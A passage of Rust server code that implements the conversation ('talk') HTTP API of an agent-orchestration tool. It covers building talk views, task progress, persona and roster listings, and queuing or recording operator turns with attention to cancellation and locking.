9038        let context = talk::context_usage(&talk, cfg);
9039        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9040            .turns
9041            .iter()
9042            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9043            .collect();
9044        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9045            .turns
9046            .iter()
9047            .map(|turn| {
9048                if turn.messages.is_empty() {
9049                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9050                } else {
9051                    turn.messages
9052                        .iter()
9053                        .map(|message| {
9054                            notice_markdown(
9055                                message.sender.unwrap_or(talk::Sender::Operator),
9056                                &message.body,
9057                                message.display.as_ref(),
9058                            )
9059                        })
9060                        .collect()
9061                }
9062            })
9063            .collect();
9064        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9065            .pending_messages
9066            .iter()
9067            .map(|message| {
9068                notice_markdown(
9069                    message.sender.unwrap_or(talk::Sender::Operator),
9070                    &message.body,
9071                    message.display.as_ref(),
9072                )
9073            })
9074            .collect();
9075        for nodes in &mut turn_bodies_md {
9076            references.markdown(nodes);
9077        }
9078        for nodes in turn_messages_md
9079            .iter_mut()
9080            .flatten()
9081            .chain(pending_messages_md.iter_mut())
9082            .flatten()
9083        {
9084            references.markdown(nodes);
9085        }
9086        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9087        let persona_name = persona::find(specs, &talk.persona)
9088            .filter(|p| !p.is_default())
9089            .map(|p| p.name);
9090        let mut avatar_persona = persona::find(specs, &talk.persona)
9091            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9092        // A removed configured persona may still have an override and old talks.
9093        if avatar_persona.id != talk.persona
9094            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9095        {
9096            avatar_persona.id.clone_from(&talk.persona);
9097            avatar_persona.icon = None;
9098        }
9099        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9100        let approvals_store = ask::Questions::at(home.join("questions"));
9101        let merge_approvals = talk
9102            .notified
9103            .iter()
9104            .filter_map(|key| key.strip_prefix("question:"))
9105            .filter_map(|id| approvals_store.get(id).ok())
9106            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9107            .filter_map(|q| {
9108                Some(ChatApproval {
9109                    question: q.id,
9110                    target: q.merge_target?,
9111                })
9112            })
9113            .collect();
9114        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9115        Self {
9116            turn_bodies_md,
9117            turn_messages_md,
9118            pending_messages_md,
9119            merge_approvals,
9120            thinking,
9121            context,
9122            operator_name,
9123            persona_name,
9124            persona_avatar,
9125            magi_avatar: magi_icon_url(home),
9126            operator_avatar: operator_icon_url(home),
9127            talk,
9128        }
9129    }
9130}
9131
9132/// Parse only the user-facing representation of an explicitly identified MAGI send.
9133fn notice_markdown(
9134    sender: talk::Sender,
9135    body: &str,
9136    display: Option<&crate::prompt::NoticeDisplay>,
9137) -> Option<Vec<md::Node>> {
9138    if sender != talk::Sender::Magi {
9139        return None;
9140    }
9141    let text = if let Some(display) = display {
9142        display.facts.as_str()
9143    } else {
9144        // Unknown completion templates may contain internal directives. Never
9145        // promote their agent input to the Markdown display surface.
9146        if crate::prompt::is_completion_notice(body)
9147            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9148        {
9149            return None;
9150        }
9151        body.strip_prefix("magi: ").unwrap_or(body)
9152    };
9153    Some(md::to_nodes(text, &md::ImageBase::None))
9154}
9155
9156/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9157/// conversation has filed, so the phone can follow one from inside the
9158/// conversation that asked for it rather than hunting the Queue for a task id
9159/// it may not remember.
9160#[derive(Debug, Serialize)]
9161struct TalkDetailView {
9162    #[serde(flatten)]
9163    view: TalkView,
9164    tasks: Vec<TaskView>,
9165    task_progress: TalkTaskProgress,
9166    goal_link: Option<TalkGoalLink>,
9167    goal_link_for: Timestamp,
9168    /// The agents this talk's repository can switch to; empty when its
9169    /// configuration cannot be read, which must not fail the whole detail.
9170    roster: Vec<RosterEntry>,
9171    /// The personas the conversation can pick from. The built-ins are always
9172    /// listed, even when the repository's configuration cannot be read.
9173    personas: Vec<PersonaEntry>,
9174}
9175
9176/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9177#[derive(Debug, Serialize)]
9178struct TalkTaskProgress {
9179    state: &'static str,
9180    total: usize,
9181    done: usize,
9182    counts: std::collections::BTreeMap<&'static str, usize>,
9183    unfinished_ids: Vec<String>,
9184}
9185
9186fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9187    let mut counts = std::collections::BTreeMap::from([
9188        ("queued", 0),
9189        ("running", 0),
9190        ("done", 0),
9191        ("failed", 0),
9192        ("held", 0),
9193        ("blocked", 0),
9194        ("parked", 0),
9195    ]);
9196    let mut unfinished_ids = Vec::new();
9197    for task in tasks {
9198        *counts.entry(task.status.as_str()).or_default() += 1;
9199        if task.status != TaskStatus::Done {
9200            unfinished_ids.push(task.id.clone());
9201        }
9202    }
9203    TalkTaskProgress {
9204        state: if tasks.is_empty() {
9205            "none"
9206        } else if unfinished_ids.is_empty() {
9207            "complete"
9208        } else {
9209            "incomplete"
9210        },
9211        total: tasks.len(),
9212        done: tasks.len() - unfinished_ids.len(),
9213        counts,
9214        unfinished_ids,
9215    }
9216}
9217
9218/// Prefer a referenced task's current Run or Task, then an explicitly
9219/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9220#[derive(Debug, Serialize)]
9221struct TalkGoalLink {
9222    goal: String,
9223    kind: &'static str,
9224    id: String,
9225}
9226
9227fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9228    let goal = crate::chat_goal::Goal::selected(talk)?;
9229    let repo = goal.effective_repo(&talk.repo);
9230    let valid_run = |id: &str| {
9231        plain_record_id(id)
9232            && read_run(runs, id).is_ok_and(|state| {
9233                state.id == id
9234                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9235            })
9236    };
9237    for id in goal.tasks.iter().rev() {
9238        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9239            continue;
9240        };
9241        // Repository reassignments retain historical runs. Only this task's
9242        // current execution can be presented as the goal's current Run.
9243        if let Some(run) = task.execution_runs().last()
9244            && valid_run(run)
9245        {
9246            return Some(TalkGoalLink {
9247                goal: goal.id.clone(),
9248                kind: "run",
9249                id: run.clone(),
9250            });
9251        }
9252        return Some(TalkGoalLink {
9253            goal: goal.id.clone(),
9254            kind: "task",
9255            id: task.id,
9256        });
9257    }
9258    for id in goal.runs.iter().rev() {
9259        if valid_run(id) {
9260            return Some(TalkGoalLink {
9261                goal: goal.id.clone(),
9262                kind: "run",
9263                id: id.clone(),
9264            });
9265        }
9266    }
9267    None
9268}
9269
9270/// One persona as the talk's persona selector shows it.
9271#[derive(Debug, Serialize)]
9272struct PersonaEntry {
9273    id: String,
9274    name: String,
9275    /// Avatar URL, see [`TalkView::persona_avatar`].
9276    avatar: String,
9277}
9278
9279/// One roster agent as the talk's agent selector shows it.
9280#[derive(Debug, Serialize)]
9281struct RosterEntry {
9282    id: String,
9283    kind: AgentKind,
9284    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9285    runnable: bool,
9286}
9287
9288/// Bounded summaries; `/page` carries a cursor for older membership.
9289async fn talks_list(
9290    State(ui): State<Arc<Ui>>,
9291    Query(q): Query<ListQuery>,
9292    headers: header::HeaderMap,
9293) -> ApiResult<Json<Vec<TalkListView>>> {
9294    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9295        let limit = q.limit.unwrap_or(50).min(50);
9296        let ids = if let Some(ids) = q.ids {
9297            ids.split(',')
9298                .filter(|id| plain_record_id(id))
9299                .take(limit)
9300                .map(str::to_owned)
9301                .collect()
9302        } else {
9303            page_ids(&ui, true, PageQuery::default())?
9304                .0
9305                .into_iter()
9306                .take(limit.min(STORE_PAGE_SIZE))
9307                .collect()
9308        };
9309        Ok(Json(talk_rows(&ui, ids, &headers)))
9310    })
9311    .await
9312}
9313
9314/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9315/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9316/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9317/// end still opens a talk against an older binary.
9318#[derive(Debug, Default, Deserialize)]
9319#[serde(default)]
9320struct NewTalk {
9321    agent: Option<String>,
9322    repo: Option<PathBuf>,
9323    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9324    /// wrong type is dropped like a stale value instead of failing the request;
9325    /// each falls back to its default on its own (see [`talk::begin_with`]).
9326    preferred_agent: Option<serde_json::Value>,
9327    persona: Option<serde_json::Value>,
9328    implementers: Option<serde_json::Value>,
9329}
9330
9331/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9332/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9333async fn talk_post(
9334    State(ui): State<Arc<Ui>>,
9335    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9336) -> ApiResult<impl IntoResponse> {
9337    // An absent body, or an empty one, is the normal way to open a talk - see
9338    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9339    // rather than refused.
9340    let body = match body {
9341        Ok(Json(body)) => body,
9342        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9343        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9344    };
9345    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9346    let cfg = config_for(&repo).await?;
9347    let view = blocking(move || {
9348        let preferred = talk::Preferred {
9349            agent: body
9350                .preferred_agent
9351                .as_ref()
9352                .and_then(|v| v.as_str())
9353                .map(str::to_owned),
9354            persona: body
9355                .persona
9356                .as_ref()
9357                .and_then(|v| v.as_str())
9358                .map(str::to_owned),
9359            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9360        };
9361        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9362        let thinking = ui.is_thinking(&talk.id);
9363        Ok(TalkView::new(talk, thinking, &ui))
9364    })
9365    .await?;
9366    Ok((StatusCode::CREATED, Json(view)))
9367}
9368
9369/// Transcript first: unrelated queue history and repository probes are deferred.
9370async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9371    // Keep transcript reads independent of sections and the runtime blocking pool.
9372    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9373        let id = resolve_talk(&ui.talks, &id)?;
9374        let talk = ui.talks.get(&id)?;
9375        let thinking = ui.is_thinking_observed(&id);
9376        // The browser already resolves Markdown text/code references after
9377        // rendering. A cold reference/review index must not gate the transcript.
9378        Ok(Json(TalkView::with_references(
9379            talk,
9380            thinking,
9381            None,
9382            &ui.home,
9383            &id_links::IdIndex::default(),
9384        )))
9385    })
9386    .await
9387}
9388
9389async fn talk_sections(
9390    State(ui): State<Arc<Ui>>,
9391    Path(id): Path<String>,
9392) -> ApiResult<Json<serde_json::Value>> {
9393    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9394        let id = resolve_talk(&ui.talks, &id)?;
9395        let talk = ui.talks.get(&id)?;
9396        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9397        let task_progress = talk_task_progress(&tasks);
9398        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9399        let tasks: Vec<_> = tasks
9400            .into_iter()
9401            .map(|task| {
9402                serde_json::json!({
9403                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9404                })
9405            })
9406            .collect();
9407        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9408        let roster: Vec<_> = cfg
9409            .as_ref()
9410            .map(|cfg| {
9411                cfg.agents
9412                    .iter()
9413                    .map(|a| RosterEntry {
9414                        id: a.id.clone(),
9415                        kind: a.kind,
9416                        runnable: agent::installed(a),
9417                    })
9418                    .collect()
9419            })
9420            .unwrap_or_default();
9421        let specs = cfg
9422            .as_ref()
9423            .map(|cfg| cfg.talk.personas.clone())
9424            .unwrap_or_default();
9425        let personas: Vec<_> = persona::catalog(&specs)
9426            .into_iter()
9427            .map(|p| PersonaEntry {
9428                avatar: avatar_url(&ui.home, &talk.id, &p),
9429                id: p.id,
9430                name: p.name,
9431            })
9432            .collect();
9433        let active_persona = persona::find(&specs, &talk.persona)
9434            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9435        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9436        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9437        Ok(Json(serde_json::json!({
9438            "tasks": tasks, "task_progress": task_progress,
9439            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9440            "roster": roster, "personas": personas,
9441            "context": talk::context_usage(&talk, cfg.as_ref()),
9442            "context_for": talk.updated_at,
9443            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9444            "persona_name": persona_name,
9445            "persona_avatar": persona_avatar,
9446        })))
9447    })
9448    .await
9449}
9450
9451/// `GET /api/talks/{id}`.
9452async fn talk_detail(
9453    State(ui): State<Arc<Ui>>,
9454    Path(id): Path<String>,
9455) -> ApiResult<Json<TalkDetailView>> {
9456    blocking(move || {
9457        let id = resolve_talk(&ui.talks, &id)?;
9458        let talk = ui.talks.get(&id)?;
9459        let thinking = ui.is_thinking_observed(&talk.id);
9460        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9461        let task_progress = talk_task_progress(&tasks);
9462        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9463        let goal_link_for = talk.updated_at;
9464        let tasks = tasks.into_iter().map(TaskView::from).collect();
9465        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9466        let roster = cfg
9467            .as_ref()
9468            .map(|cfg| {
9469                cfg.agents
9470                    .iter()
9471                    .map(|a| RosterEntry {
9472                        id: a.id.clone(),
9473                        kind: a.kind,
9474                        runnable: agent::installed(a),
9475                    })
9476                    .collect()
9477            })
9478            .unwrap_or_default();
9479        let specs = cfg
9480            .as_ref()
9481            .map(|cfg| cfg.talk.personas.clone())
9482            .unwrap_or_default();
9483        let personas = persona::catalog(&specs)
9484            .into_iter()
9485            .map(|p| PersonaEntry {
9486                avatar: avatar_url(&ui.home, &talk.id, &p),
9487                id: p.id,
9488                name: p.name,
9489            })
9490            .collect();
9491        Ok(Json(TalkDetailView {
9492            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9493            tasks,
9494            task_progress,
9495            goal_link,
9496            goal_link_for,
9497            roster,
9498            personas,
9499        }))
9500    })
9501    .await
9502}
9503
9504/// The body of `POST /api/talks/{id}/say`.
9505///
9506/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9507/// returned - never bytes of its own - so a turn with no images just omits
9508/// the field, which is what an older front end still does.
9509#[derive(Debug, Default, Deserialize)]
9510#[serde(default, deny_unknown_fields)]
9511struct NewTalkTurn {
9512    reply_to: Option<talk::ReplyTarget>,
9513    text: String,
9514    attachments: Vec<String>,
9515}
9516
9517#[derive(Debug, Deserialize)]
9518#[serde(deny_unknown_fields)]
9519struct EditTalkPending {
9520    #[serde(default)]
9521    message: Option<usize>,
9522    text: String,
9523    expected_text: String,
9524    expected_attachments: Vec<String>,
9525}
9526
9527#[derive(Debug, Deserialize)]
9528#[serde(deny_unknown_fields)]
9529struct ClearTalkPending {
9530    expected_text: String,
9531    expected_attachments: Vec<String>,
9532}
9533
9534/// `POST /api/talks/{id}/say` - one turn of the conversation.
9535///
9536/// Not filesystem work, and therefore not routed through [`blocking`]: this
9537/// route spawns an agent CLI and a turn here can run for the whole of
9538/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9539/// research turn is expected to run commands rather than answer from what it
9540/// already knows. Holding an HTTP connection open that long is not a thing
9541/// to ask a phone to do; the operator's message is recorded and answered for
9542/// immediately, and the reply lands in the background, discovered through
9543/// the change stream's `talks_rev` the same way every other update on this
9544/// surface is.
9545async fn talk_say(
9546    State(ui): State<Arc<Ui>>,
9547    Path(id): Path<String>,
9548    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9549) -> ApiResult<(StatusCode, Json<TalkView>)> {
9550    let admission = ui.begin_admission()?;
9551    admitted(admission, async move {
9552    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9553    if body.text.trim().is_empty() && body.attachments.is_empty() {
9554        return Err(ApiError::bad_request("say something"));
9555    }
9556
9557    let id = {
9558        let ui = Arc::clone(&ui);
9559        let asked = id.clone();
9560        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9561    };
9562    // A closed Talk never accepts a new immediate or queued turn. Check this
9563    // before claiming a slot so its ordinary domain refusal is a 409, not an
9564    // incidental failure from the later record/queue write.
9565    {
9566        let ui = Arc::clone(&ui);
9567        let id = id.clone();
9568        blocking(move || {
9569            let talk = ui.talks.get(&id)?;
9570            if !talk.status.open() {
9571                return Err(ApiError::conflict(format!(
9572                    "talk {} is {} and takes no more turns",
9573                    talk.short(),
9574                    talk.status.as_str()
9575                )));
9576            }
9577            Ok(())
9578        })
9579        .await?;
9580    }
9581
9582    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9583    // actually stores, before anything is written - an unknown id is a 4xx
9584    // that names it rather than a turn (or a queued draft) silently missing
9585    // an image.
9586    let attachments = {
9587        let ui = Arc::clone(&ui);
9588        let id = id.clone();
9589        let ids = body.attachments.clone();
9590        blocking(move || {
9591            ids.into_iter()
9592                .map(|att_id| {
9593                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9594                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9595                    })
9596                })
9597                .collect::<ApiResult<Vec<talk::Attachment>>>()
9598        })
9599        .await?
9600    };
9601    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9602        .await.map_err(ApiError::from)?;
9603
9604    // Pending recovery and a new immediate turn are decided under the same
9605    // claim lock. Without that one critical section, a second `/say` can see
9606    // the first request's claim as "busy" and append itself to the recovered
9607    // draft before the first request rejects it.
9608    let start = {
9609        let ui = Arc::clone(&ui);
9610        let id = id.clone();
9611        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9612    };
9613    let turn_guard = match start {
9614        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9615        TalkTurnStart::Pending => {
9616            return Err(ApiError::conflict(
9617                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9618            ));
9619        }
9620        TalkTurnStart::Foreign => {
9621            return Err(ApiError::conflict(
9622                "a turn is already running in another process; try again when it has finished",
9623            ));
9624        }
9625        TalkTurnStart::Busy => {
9626            // A turn is already running: queue rather than refuse. See
9627            // `Ui::begin_talk_turn` and `talk::queue`.
9628            //
9629            // The queue write and the drain it may owe live inside the task
9630            // `tokio::spawn` hands to the runtime, for the same reason the
9631            // immediate path below puts `record` there: a dropped handler
9632            // future must not be able to land between a durable write and
9633            // the task that answers it. `blocking` runs its closure on
9634            // `spawn_blocking`, which finishes whether or not anyone is left
9635            // to receive its result - so a disconnect at the `.await` below
9636            // would otherwise leave the draft persisted and the reclaimed
9637            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9638            // ever started and the queued text stranded until some later
9639            // `say` happened to pick it up. The caller's 202 travels back
9640            // over a `oneshot`, sent the moment the write lands.
9641            let (tx, rx) = tokio::sync::oneshot::channel();
9642            tokio::spawn({
9643                let ui = Arc::clone(&ui);
9644                let id = id.clone();
9645                let said = body.text.clone();
9646                let reply_to = body.reply_to.clone();
9647                async move {
9648                    let written = blocking({
9649                        let ui = Arc::clone(&ui);
9650                        let id = id.clone();
9651                        move || {
9652                            let mut talk = ui.talks.get(&id)?;
9653                            // A test-only stop point, right before the write
9654                            // an interleaving test needs to pin - see
9655                            // `BusyQueueGate`. `None` in every real server:
9656                            // the field only exists under `#[cfg(test)]`.
9657                            #[cfg(test)]
9658                            if let Some(gate) = ui
9659                                .busy_queue_gate
9660                                .lock()
9661                                .unwrap_or_else(PoisonError::into_inner)
9662                                .take()
9663                            {
9664                                let _ = gate.reached.send(());
9665                                let _ = gate.release.recv();
9666                            }
9667                            if let Err(error) = talk::queue_reply(
9668                                &mut talk,
9669                                &ui.talks,
9670                                &said,
9671                                attachments,
9672                                reply_to,
9673                            ) {
9674                                if let Ok(fresh) = ui.talks.get(&id) {
9675                                    if !fresh.status.open() {
9676                                        return Err(ApiError::conflict(format!(
9677                                            "talk {} is {} and takes no more turns",
9678                                            fresh.short(),
9679                                            fresh.status.as_str()
9680                                        )));
9681                                    }
9682                                }
9683                                return Err(
9684                                    if error.to_string().contains("invalid reply target") {
9685                                        ApiError::bad_request("invalid reply target")
9686                                    } else {
9687                                        ApiError::from(error)
9688                                    },
9689                                );
9690                            }
9691                            // The turn that looked busy a moment ago can have
9692                            // finished, found nothing to drain and given up the
9693                            // slot in the gap between that check and this write
9694                            // landing - see `drain_loop`'s own doc for the other
9695                            // half of why that gap would otherwise be able to
9696                            // open at all. Reclaiming the slot here, rather than
9697                            // trusting that whoever held it is still watching, is
9698                            // what stops the text just queued from being stranded
9699                            // until an unrelated future `say` happens to drain
9700                            // it.
9701                            let claim = match ui.begin_queued_talk_turn(&id)? {
9702                                Some(turn_guard) => {
9703                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9704                                    Some((talk.clone(), cfg, turn_guard))
9705                                }
9706                                None => None,
9707                            };
9708                            let thinking = ui.is_thinking(&id);
9709                            Ok((TalkView::new(talk, thinking, &ui), claim))
9710                        }
9711                    })
9712                    .await;
9713                    #[cfg(not(test))]
9714                    {
9715                        match written {
9716                            Ok((view, reclaimed)) => {
9717                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9718                                drop(reclaimed);
9719                                match launched {
9720                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9721                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9722                                }
9723                            }
9724                            Err(error) => { let _ = tx.send(Err(error)); }
9725                        }
9726                    }
9727                    #[cfg(test)]
9728                    {
9729                    let (view, reclaimed) = match written {
9730                        Ok(pair) => pair,
9731                        Err(e) => {
9732                            // Nobody is listening if the handler's own future
9733                            // was already dropped - that is fine, nothing was
9734                            // persisted and there is no response left to carry
9735                            // this error to.
9736                            let _ = tx.send(Err(e));
9737                            return;
9738                        }
9739                    };
9740                    // If this fails, the caller is gone; the drain below still
9741                    // runs exactly as it would have for a caller that stayed.
9742                    let _ = tx.send(Ok(view));
9743                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9744                        let talks = ui.talks.clone();
9745                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9746                    }
9747                    }
9748                }
9749            });
9750            let view = rx
9751                .await
9752                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9753            return Ok((StatusCode::ACCEPTED, Json(view)));
9754        }
9755    };
9756
9757    let (talk, cfg) = {
9758        let ui = Arc::clone(&ui);
9759        let id = id.clone();
9760        blocking(move || {
9761            let talk = ui.talks.get(&id)?;
9762            let (cfg, _) = Config::discover(&talk.repo, None)?;
9763            Ok((talk, cfg))
9764        })
9765        .await?
9766    };
9767
9768    let talks = ui.talks.clone();
9769    // `record` runs *inside* the spawned task, rather than in this handler
9770    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9771    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9772    // doc), and that drop can land at any `.await` this function makes,
9773    // including one that has already produced its result but not yet
9774    // resumed. A message could end up recorded on disk with the handler
9775    // future gone before it ever reached the `tokio::spawn` that would have
9776    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9777    // that hands the whole future to the runtime as one unit - once made, no
9778    // later drop of *this* handler's own future (that call's return value is
9779    // never held onto here) can reach back in and stop it, so record and the
9780    // hand-off to `respond` are unconditionally atomic from the client's
9781    // point of view. The immediate response this handler owes the caller
9782    // travels back over a `oneshot`, sent the moment `record` succeeds.
9783    let (tx, rx) = tokio::sync::oneshot::channel();
9784    tokio::spawn({
9785        #[cfg(test)]
9786        let ui = Arc::clone(&ui);
9787        let talks = talks.clone();
9788        let id = id.clone();
9789        let said = body.text.clone();
9790        let reply_to = body.reply_to.clone();
9791        let mut talk = talk.clone();
9792        async move {
9793            let recorded = blocking({
9794                let talks = talks.clone();
9795                move || {
9796                    if let Err(error) =
9797                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9798                    {
9799                        if let Ok(fresh) = talks.get(&talk.id) {
9800                            if !fresh.status.open() {
9801                                return Err(ApiError::conflict(format!(
9802                                    "talk {} is {} and takes no more turns",
9803                                    fresh.short(),
9804                                    fresh.status.as_str()
9805                                )));
9806                            }
9807                        }
9808                        return Err(if error.to_string().contains("invalid reply target") {
9809                            ApiError::bad_request("invalid reply target")
9810                        } else {
9811                            ApiError::from(error)
9812                        });
9813                    }
9814                    // `record` mutates `talk` in place to the freshly persisted
9815                    // state (status, pending, and the just-appended operator
9816                    // turn), so returning it here is equivalent to re-reading it
9817                    // from disk - without the extra round trip a re-read would
9818                    // need.
9819                    Ok((said.trim().to_owned(), talk))
9820                }
9821            })
9822            .await;
9823            let (text, talk) = match recorded {
9824                Ok(pair) => pair,
9825                Err(e) => {
9826                    // Nobody is listening if the handler's own future was
9827                    // already dropped - that is fine, there is no response
9828                    // left to carry this error to and nothing was persisted.
9829                    let _ = tx.send(Err(e));
9830                    return;
9831                }
9832            };
9833            #[cfg(not(test))]
9834            {
9835                let _ = (&cfg, &text);
9836                // The reservation becomes durable while this process still
9837                // holds the talk lease. The child waits for that lease; the
9838                // new UI sees its startup reservation immediately.
9839                let result = crate::chat_worker::spawn_recorded_turn(
9840                    &talks, &id, talk.turns.len() - 1,
9841                ).await;
9842                drop(turn_guard);
9843                match result {
9844                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9845                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9846                }
9847            }
9848            #[cfg(test)]
9849            {
9850            let queued = talk.clone();
9851            let mut talk = talk;
9852            let thinking = ui.is_thinking(&id);
9853            // If this fails, the caller is gone; the turn still runs below
9854            // exactly as it would have for a caller that stayed connected.
9855            let _ = tx.send(Ok((queued, thinking)));
9856
9857            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9858                // `respond` records the failure in the transcript itself,
9859                // which is what the phone reads; this line is for the
9860                // operator's terminal.
9861                tracing::warn!("talk {id} turn failed: {e:#}");
9862            }
9863            // Anything `talk::queue` added while the turn above was running
9864            // is still owed an answer - see `drain_loop`.
9865            drain_loop(talk, talks, cfg, id, turn_guard).await;
9866            }
9867        }
9868    });
9869
9870    let (queued, thinking) = rx
9871        .await
9872        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9873
9874    // 202: the operator's message is recorded and a turn is running.
9875    Ok((
9876        StatusCode::ACCEPTED,
9877        Json(TalkView::new(queued, thinking, &ui)),
9878    ))
9879    }).await
9880}
9881
9882/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9883/// changing it. The turn guard is the same per-talk ownership `talk_say`
9884/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9885async fn talk_pending_resume(
9886    State(ui): State<Arc<Ui>>,
9887    Path(id): Path<String>,
9888) -> ApiResult<(StatusCode, Json<TalkView>)> {
9889    let admission = ui.begin_admission()?;
9890    admitted(admission, async move {
9891        let id = {
9892            let ui = Arc::clone(&ui);
9893            let asked = id.clone();
9894            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9895        };
9896        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9897            .await
9898            .map_err(ApiError::from)?;
9899        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9900            return Err(ApiError::conflict(
9901                "a talk turn is already running; the queued draft will be handled by it",
9902            ));
9903        };
9904        let (talk, cfg) = {
9905            let ui = Arc::clone(&ui);
9906            let id = id.clone();
9907            blocking(move || {
9908                let talk = ui.talks.get(&id)?;
9909                if !talk.status.open() {
9910                    return Err(ApiError::conflict(format!(
9911                        "talk {} is {} and takes no more turns",
9912                        talk.short(),
9913                        talk.status.as_str()
9914                    )));
9915                }
9916                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9917                    return Err(ApiError::conflict("there is no queued draft to resume"));
9918                }
9919                let (cfg, _) = Config::discover(&talk.repo, None)?;
9920                Ok((talk, cfg))
9921            })
9922            .await?
9923        };
9924        let view = TalkView::new(talk.clone(), true, &ui);
9925        let talks = ui.talks.clone();
9926        #[cfg(not(test))]
9927        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9928        #[cfg(test)]
9929        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9930        Ok((StatusCode::ACCEPTED, Json(view)))
9931    })
9932    .await
9933}
9934
9935/// Hand off an admitted draft while retaining the talk lease until its
9936/// detached startup reservation is durable.
9937#[cfg(not(test))]
9938async fn detach_talk_turn(
9939    _talk: Talk,
9940    talks: Talks,
9941    _cfg: Config,
9942    id: String,
9943    turn: TalkTurnGuard,
9944) -> ApiResult<()> {
9945    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9946    drop(turn);
9947    launched.map(|_| ()).map_err(ApiError::from)
9948}
9949
9950#[cfg(test)]
9951async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9952    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9953}
9954
9955/// A settings response must not report idle while its claim is still held.
9956/// Wait until the first drain either releases the claim or promotes a draft.
9957/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9958async fn settle_settings_turn(
9959    talk: Talk,
9960    talks: Talks,
